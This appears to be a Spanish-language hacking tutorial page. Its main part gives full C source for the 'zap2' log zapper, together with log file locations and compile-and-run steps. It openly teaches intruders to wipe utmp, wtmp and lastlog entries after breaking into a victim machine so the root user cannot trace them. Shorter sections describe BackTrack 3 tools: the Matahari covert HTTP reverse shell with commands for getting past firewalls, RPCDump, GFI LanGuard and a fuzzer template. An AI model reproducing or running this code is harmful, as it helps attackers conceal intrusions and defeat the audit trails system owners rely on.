Limpiando huellas

Esto lo vamos a hacer con un zapper , un zapper es un programa que al ejecutarlo en la maquina remota limpia el log que queda guandado con todo lo que hicimos en la maquina victima.

Si no limpias la mugre que dejas estas ******, ya ke si el root revisa los logs vera tu IP y todo lo ke has hecho. Si te agarran despues no me digas que no avise.

Pero donde esta el probema de esto, y bueno les comento que el problema de esto es que para borrar lo que hiciste tenes que ser roort.

Los logs mas importantes son:

_ UTMP – Indika quien esta konectado en cada momento.

_ WTMP – Indica todas las entradas y salidas de la maquina victima indicando el tty y el host.

_ LASTLOG – Guarda un log indicando el momento exacto en el ce se konekto el usuario por ultima vez.

_ ACCT – Guarda todos los comandos ejekutados por los usuarios (aunke sin argumentos) y como los ponemos.

Me llevo casi 3 horas averiguar esto asi que me imagino que algun dia lo van a utilizar, si es que entran en algun ordenador alguna vez.

Estos logs estan ubicados en los siguientes directorios.

_ UTMP : /etc o /var/adm o /usr/adm o /usr/var/adm o /var/log

_ WTMP : /etc o /var/adm o /usr/adm o /usr/var/adm o /var/log

_ LASTLOG : /usr/var/adm o /usr/adm o /var/adm o /var/log

_ ACCT : /var/adm/acct (en algunos sistemas se puede llamar pacct)

Esto varia de sistema en sistema.

Los zappers lo que hacen la mayoria es borrar el log acct , de esta forma estamos salvados de que nos agarren ya que sabran que estubimos dentro pero no pueden saber que hicimos. Por eso es bueno acompañarlo con algun metodo de anonimato que ya sabran.

Lo que voy a enseñar a usar es el zap2 un zapper que es muy fasil de detectar si es que se quiere, lo que hace este no borrar los logs sino dejarlos en 0 , y tampoco borra el acct pero tambien lo deja en 0 asi que no tendremos problemas graves, siempre y cuando no se manden una ****** grosa en la maquina y le den ganas al admin de saber quien fue. Le va a costar pero no va a ser tan fasil como dejarle el numero de documento en el log.

En este tuto vamos a matar 2 pajaros de un tiro. Uno es aprender a compilar exploits y otro aprender a ejecutarlos. Obvio que este es de uso local, es decir hay que ejecutarlo desde la shell del sistema que queremos limpiar.

Pasamos a crear el archivo zap2.c de esta forma.

[root@localhost phantomlord]# cat > zap2.c

————————copiamos el code————————-

Código:

#include <sys/types.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/file.h>
#include <fcntl.h>
#include <utmp.h>
#include <pwd.h>
#include <lastlog.h>
#define WTMP_NAME "/usr/adm/wtmp"
#define UTMP_NAME "/etc/utmp"
#define LASTLOG_NAME "/usr/adm/lastlog"

int f;

void kill_utmp(who)
char *who;
{
    struct utmp utmp_ent;

  if ((f=open(UTMP_NAME,O_RDWR))>=0) {
     while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )
       if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
                 bzero((char *)&utmp_ent,sizeof( utmp_ent ));
                 lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);
                 write (f, &utmp_ent, sizeof (utmp_ent));
            }
     close(f);
  }
}

void kill_wtmp(who)
char *who;
{
    struct utmp utmp_ent;
    long pos;

    pos = 1L;
    if ((f=open(WTMP_NAME,O_RDWR))>=0) {

     while(pos != -1L) {
        lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND);
        if (read (f, &utmp_ent, sizeof (struct utmp))<0) {
          pos = -1L;
        } else {
          if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
               bzero((char *)&utmp_ent,sizeof(struct utmp ));
               lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND);
               write (f, &utmp_ent, sizeof (utmp_ent));
               pos = -1L;
          } else pos += 1L;
        }
     }
     close(f);
  }
}

void kill_lastlog(who)
char *who;
{
    struct passwd *pwd;
    struct lastlog newll;

     if ((pwd=getpwnam(who))!=NULL) {

        if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0) {
            lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0);
            bzero((char *)&newll,sizeof( newll ));
            write(f, (char *)&newll, sizeof( newll ));
            close(f);
        }

    } else printf("%s: ?\n",who);
}

main(argc,argv)
int argc;
char *argv[];
{
    if (argc==2) {
        kill_lastlog(argv[1]);
        kill_wtmp(argv[1]);
        kill_utmp(argv[1]);
        printf("Zap2!\n");
    } else
    printf("Error.\n");
}

————————————–termino zap2——————-

apretamos ctrl +z para terminar

[15]+ Stopped cat >zap2.c

[root@localhost phantomlord]#

Ahora lo compilamos

[root@localhost phantomlord]# gcc zap2.c -o zap2

El archivo compilado (programa) se va a llamar zap2

y ahora lo ejecutamos de esta manera.

[root@localhost phantomlord]# ./zap2

Listo…ya limpie la mierda…hdl rulez!

[root@localhost phantomlord]#

Como ven nos avisa si funciono o no quiero aclarar que se puede usar de las siguientes formas.

[root@localhost phantomlord]# ./zap2 nombreusuario

o simplemente

[root@localhost phantomlord]# ./zap2

Que borrara los logs del usuario que estemos usando en ese momento.

Espero que les sirva esto. Hasta la vista baby.

Phantom Lord.

Salu2

Fuente –> Hackersdelocos

Escrito por –> Phantom Lord

Matahari Backtrack 3

Es un script escrito en Python para mantener una básica shell remota en sistemas detrás de un firewall. El cliente adquiere comandos. El cliente consigue órdenes de vez en cuando sondeando al servidor y envía la salida atrás después de la ejecución de ellos. El tráfico atraviesa el cortafuegos como HTTP estándar saliente HTTP GET/POST requests. HTTP requests/responsesllevan la carga útil b64 codificado. El cifrado opcional es apoyado (y sumamente recomendado)

Ejemplos

Supongamos que tienes un sistema objetivo ej: objetivo.foo.com detrás de un firewall y quieres ejecutar comandos desde un administrador admin.foo.com, sería lo siguiente:

1. Ejecutar en la máquina objetivo:./matahari.py -c master.bar.com -T polite.Cercionate de mantener el proceson ejecutado siempre antes de  desconectar
2. Ejecutar en cualquier momento en la maquina admin:./matahari.py -s target.foo.com

Más información en : http://matahari.sourceforge.net

RPCDump en Backtrack 3

RPCDump es un programa el cual proporciona un acceso por consola a la RPC APis en Windows

Más información la podemos encontrar en: cultdeadcow

GFI LanGuard 2.0 Backtrack 3

GFI LANguard Network Security Scanner (N.S.S.) comprueba tu red con todos los metodos que los hackers utilizan para atacar. Analizando el sistema operativo y los programas que estan ejecutandose, GFI LANguard N.S.S. identifica posibles agujeros de seguridad.

Mas información en: http://www.gfi.com/lannetscan/

Fuzzer 1.2 de Backtrack 3

El “Fuzzing” es un software automatico que testea técnicas que generan y envian secuencias de datos aleatorias a varias areas de una aplicación oara intentar encontrar vulnerabilidades.

Por ejemplo, cuando buscamos “buffers overflows” un testeados simplemente puede generar datos de varios tamaños y mandarlos a una aplicación para observar como la aplicación falla.

Ejemplo (string overflow):
fuzz.pl -host 192.168.1.2 -port 80 -type string -load template.txt

Creando el template:

Crea un archivo donde pongas cualquier petición o “request”, y el lugar donde quieres que el Fuzz inserte el tag <FUZZER>, si necesitas calcular el tamaño de los datos ej: como un POST request en un servidor HTTP usa los tags <COUNT>data<COUNT> and <SIZE> Deberá acabar como el siguiente:

POST /cgi-sys/FormMail.cgi HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.5) Gecko/20041128 Firefox/1.0 (Debian package 1.0-4)
Keep-Alive: 300
Connection: keep-alive
Referer: http://127.0.0.1/
Content-Type: application/x-www-form-urlencoded
Content-Length: <SIZE>

<COUNT>recipient=test%40127.0.0.1&subject=Fuzzing&Name=test &email=test%40localhost& request=test<FUZZER>&redirect=/<COUNT>

Puedes usar valores hexadecimales como \x41 or 0×41 en la plantilla o “template” si el protocolo es binario.

Fuente –> Securityteam

Traducido por : Achilles